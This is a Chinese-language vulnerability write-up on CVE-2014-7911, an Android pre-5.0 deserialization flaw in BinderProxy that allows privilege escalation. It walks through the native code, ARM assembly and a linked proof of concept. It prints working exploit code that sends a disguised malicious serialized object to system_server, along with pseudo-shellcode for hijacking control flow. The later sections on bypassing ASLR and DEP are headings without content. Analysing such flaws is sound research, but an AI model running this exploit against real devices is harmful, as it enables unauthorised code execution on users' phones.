本文内容:

  • 因Android反序列化漏洞导致的Android本地提权
  • Android平台上的ROP:绕过DEP
  • 绕过Android平台的ASLR
  • Android Binder
  • Java序列化与反序列化
  • Heap Spary

CVE-2014-7911

摘自NVD

luni/src/main/java/java/io/ObjectInputStream.java in the java.io.ObjectInputStream implementation in Android before 5.0.0 does not verify that deserialization will result in an object that met the requirements for serialization, which allows attackers to execute arbitrary code via a crafted finalize method for a serialized object in an ArrayMap Parcel within an intent sent to system_service, as demonstrated by the finalize method of android.os.BinderProxy, aka Bug 15874291.

Source: MITRE
Description Last Modified: 12/15/2014

POC: https://github.com/CytQ/CVE-2014-7911_poc

漏洞细节

Android5.0以下的ObjectInputStream在反序列化时没有校验该java对象是否可序列化。因此攻击者可精心构建一个不可序列化的对象以及恶意的成员变量。当该恶意对象被反序列化时会产生类型混淆(type confusion),使恶意的成员变量被当成本地代码的指针,从而执行shellCode

Target: android.os.BinderProxy

这个类本身是不可序列化的,他有个成员变量mOrgue。在系统GC的时候,会调用它的finalize方法,这个方法会将该类的mOrgue参数强制转换为对象指针A,如果我们能控制mOrgue,就能控制接下来程序执行的逻辑了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 以下代码不来自同一个类,核心内容拼接

// BinderProxy
@Override
protected void finalize() throws Throwable {
try {
destroy();
} finally {
super.finalize();
}
}

// Native。对应的实现为:android_os_BinderProxy_destroy
private native final void destroy();

// Native层
// 初始化mOrgue
gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");
gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");

// 调用
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
IBinder* b = (IBinder*)
env->GetIntField(obj, gBinderProxyOffsets.mObject);
// gBinderProxyOffsets.mOrgue 被强制转换为DeathRecipientList对象
// 也就是说mOrgue在类型混淆后被处理成了对象指针this
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
// 调用drl的decstrong方法。此时的this由攻击者控制
drl->decstrong((void*)javaobjectforibinder);
b->decStrong((void*)javaObjectForIBinder);
IPCThreadState::self()->flushCommands();
}

从上文能看到,类型混淆后drl已经转交给攻击者控制。

DeathRecipientList继承自RefBase,desStrong的实现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// RefBase
class RefBase::weakref_impl : public RefBase::weakref_type
{
public:
volatile int32_t mStrong;
volatile int32_t mWeak;
RefBase* const mBase;
volatile int32_t mFlags;

...
}

// RefBase.cpp
void RefBase::decStrong(const void* id) const
{
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
if (c == 1) {
// 攻击这个方法
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
delete this;
}
}
refs->decWeak(id);
}

mRefs是RefBase的第一个成员变量,RefBase是DeathRecipientList的父类。因此对象布局为先放置父类,然后放置自己的成员。对象中的方法不占空间,如果有虚函数会有一个虚函数表的地址(4字节放置在对象的最开始),然后放置成员变量。

故mRefs变量的地址=DeathRecipientList地址+4 = mOrgue指针指向的地址+4

因此refs的地址我们可控,refs->mBase(算偏移即可)亦可控,只要我们构造特殊的内存布局就可以通过refs->mBase->onLastStrongRef(id)执行任意代码

POC验证

POC:https://github.com/CytQ/CVE-2014-7911_poc

POC 1

安装APP,点击Hello World按钮后logcat会显示sparying日志,如下:

https://raw.githubusercontent.com/CytQ/BlogImgs/master/Root/cve-2014-7911_log1.jpeg

当sparying显示到1900后,等待30秒,按home键返回桌面,再等30秒,点击任意APP,等待1~2分钟(这是为了sparying完后能触发一次gc)。手机重启,验证成功,显示如下:

https://raw.githubusercontent.com/CytQ/BlogImgs/master/Root/cve-2014-7911_log2.png

POC 2

  • 注释POC 1中的heap_spary_ex()函数以及expolit(int static_address)中的evilProxy.mOrgue = static_address;
  • 运行程序,evilProxy.mOrgue = 0x1337beef // 该地址无意义

当系统崩溃时,能拦截到如下的日志:

https://raw.githubusercontent.com/CytQ/BlogImgs/master/Root/cve-2014-7911_log3.png

此时的fault addr等于mOrgue,说明类型强转后跳转到的1337beef这个地址无效,验证成功

Poc 2 攻击原理

构建恶意BinderProxy对象,设置mOrgue字段的值为shellcode或ROP Chain的起始地址.验证POC时这里是一个随机无效地址

1
2
3
4
5
6
7
8
9
10
package AAdroid.os;

import java.io.Serializable;

public class BinderProxy implements Serializable {

private static final long serialVersionUID = 0;
public int mObject = 0x1337beef;
public int mOrgue = 0x1337beef;
}

2、构建恶意BinderProxy并进行Binder跨进程通信。

Binder通信的原理这里不再过多赘述,在以前的博客中有过详细介绍。这里只简单提一下流程:

Android中存在Client和Server的概念,所有请求方都被称为Client,如PackageManager、ActivityManager。所有接收请求的服务方都被称为Server,如PackageManagerService、ActivityManagerService。他们本身就属于不同的进程,因此通信时属于跨进程通信,实现工具为Binder。

Server首先在ServiceManager中注册,也就是留下一个远端调用接口,用这个接口可以去获取Server的服务。Client再请求时,把自己的基本信息比如UID、PID等发送给Binder Driver传过去,并进入等待状态,此时传送的数据为Tran_data(可能不叫这个,具体的忘了)。Binder driver再携带请求方的基本信息发送Transaction给Server,Server接收到了之后判断权限,符合就返值。Driver把返回的值用Tran_reply的方式告诉Client,并结束这次通信。

下面放出这张通俗易懂的神图

https://raw.githubusercontent.com/CytQ/BlogImgs/master/Root/binder.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
private void expolit(int static_address) {
Context context = getBaseContext();
try {
// 构造bundle,把恶意BinderProxy打包,准备发送
Bundle bundle = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
evilProxy.mOrgue = static_address;
Log.e("cve", "mOrgue: " + static_address + "");
bundle.putSerializable("eatthis", evilProxy);

// 通过反射获取UserManager,用他向System_Server发送恶意序列化数据
Class clIUserManager = Class.forName("android.os.IUserManager");
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
Log.e("mylog", umSubclasses.length + " inner classes found");
Class clStub = null;
for (Class c : umSubclasses) {
Log.e("mylog", "inner class: " + c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
clStub = c;
}
}

// 准备通信过程中必要的Transaction变量和数据
Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null);

UserManager um = (UserManager) context.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField("mService");
fService.setAccessible(true);
Object proxy = fService.get(um);

Class[] stSubclasses = clStub.getDeclaredClasses();
Log.e("mylog", stSubclasses.length + " inner classes found");
clProxy = null;
for (Class c : stSubclasses) {
Log.e("mylog", "inner class: " + c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
clProxy = c;
}
}

// 获取远端接口
Field fRemote = clProxy.getDeclaredField("mRemote");
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy);

// 获取请求方的基本信息,比如UID
UserHandle me = android.os.Process.myUserHandle();
// 发送数据
setApplicationRestrictions(context.getPackageName(), bundle, me.hashCode());

Log.i("badserial", "waiting for boom here and over in the system service...");
} catch (Exception e) {
throw new RuntimeException(e);
}
}


public void setApplicationRestrictions(String packageName, Bundle restrictions, int userHandle)
throws RemoteException {
// data是发过去的数据,reply是返回的数据,都是序列化格式
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
// 将外部传入的信息“格式化”
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);

// 因为Parcel的数据会有一定的格式,因此我们先把恶意数据用Parcel格式化一次,
// 接着把它格式完的值提出来,修改里面的指定字段。
// 最后再放入一个新的Parcel中,就生成了一个格式合法但数据非法的恶意Parcel
byte[] data = _data.marshall();
for (int i = 0; true; i++) {
// 恶意BinderProxy属于AAdroid
// 正版BinderProxy属于Android
// 在数组中把恶意对象伪造成正常对象
if (data[i] == 'A' && data[i + 1] == 'A' && data[i + 2] == 'd' && data[i + 3] == 'r') {
data[i] = 'a';
data[i + 1] = 'n';
break;
}
}
Log.e("cve", Arrays.toString(data));
// 回收老Parcel,创建恶意Parcel
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length);

// 发送数据
mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
} finally {
_reply.recycle();
_data.recycle();
}
}

通过上面这几步就已完成恶意数据的发送,只要此时再触发一次GC,就能执行finalize方法,从而控制DeathRecipientList* drl这个指针。

3、汇编分析

从/system/lib中pull出libutils.so,ida解析

c++整体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void RefBase::decStrong(const void* id) const
{
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
if (c == 1) {
// 攻击这个方法
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
delete this;
}
}
refs->decWeak(id);
}

汇编整体如下:

https://raw.githubusercontent.com/CytQ/BlogImgs/master/Root/cve-2014-7911_assembly.png

注意一点,decStrong的汇编代码有两个参数,一个是this指针(我们可控),一个是void*的地址

refs对象内部有4个局部变量,分别叫mStrong、mWeak、mBase、mFlags。无虚函数,因此mStrong的地址就是refs的地址,mBase = refs+8

分开来看:

1、

weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);

对应的汇编为:

LDR R4, [R0,#4] ; R0是this指针,我们可控,根据内存布局可知,R0+4指向mRefs
MOV R6, R1 ; R1是参数id。refs->removeStrongRef(id)在代码里是空实现,

; 因此被直接省略掉了

MOV R0, R4 ; R0 = refs
BLX android_atomic_dec ; 入参是refs->mStrong,因为refs没有实现类,

​ ; 因此mStrong是它的第一个成员变量,mStrong的地址=refs

2、

if (c == 1) {
// 攻击这个方法
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
delete this;
}
}

对应的汇编为:

.text:0000D180 CMP R0, #1 ; 将android_atomic_dec的值c与1进行比较
.text:0000D182 BNE loc_D19C
.text:0000D184 LDR R0, [R4,#8] ; R4 = refs. r0 = refs+8 = refs->mBase
.text:0000D186 MOV R1, R6 ; R1 = R6 = id
.text:0000D188 LDR R3, [R0]
.text:0000D18A LDR R2, [R3,#0xC] ; onLastStrongRef是mBase的虚函数,因此到

mBase+0XC的位置取偏移,然后跳转

.text:0000D18C BLX R2

这里的BLX R2就是我们的攻击点。

所以我们要做的就是:构建Shellcode,让This指针指向头部从而控制R0(其实就是让mOrgue指向shellcode首部)。Shellcode头部+4的地方是mRefs,Shellcode+12的地方是mBase,Shellcode+12+0xC的地方就是最终的恶意代码攻击开始的地方。

需要注意的点:android_atomic_dec这个函数(检测引用计数的)会对参数进行减1操作并判断结果是否为0,如果为0,就表明该数没有其他地方在引用了,返回值为1.因此,我们需要将refs->mStrong的值设置为1

因此,可写出如下的Shellcode:

1
2
3
4
5
if(*(*(mOrgue+4)) == 1) {
refs = *(mOrgue+4);
r2 = *(*(*(refs+8))+12);
blx r2 ; <—— controlled;
}

4、绕过ALSR

与其他操作系统一样,Android对ASLR机制的支持也是分阶段完成的,最早在4.0版本引入,仅仅实现了对nmap系统调用所创建的区域(包括动态链接库)的随机化。在4.0.3实现了对空间的随机化,但是动态连接器(linker)本身的随机化并未实现,4.1.1为linker和所有其他的系统二进制文件进行了随机化,目前Android系统已经完全支持了ASLR机制。

Android内的所有进程都fork自Zygote进程,

5、绕过DEP

6、制作Shellcode,提权

资料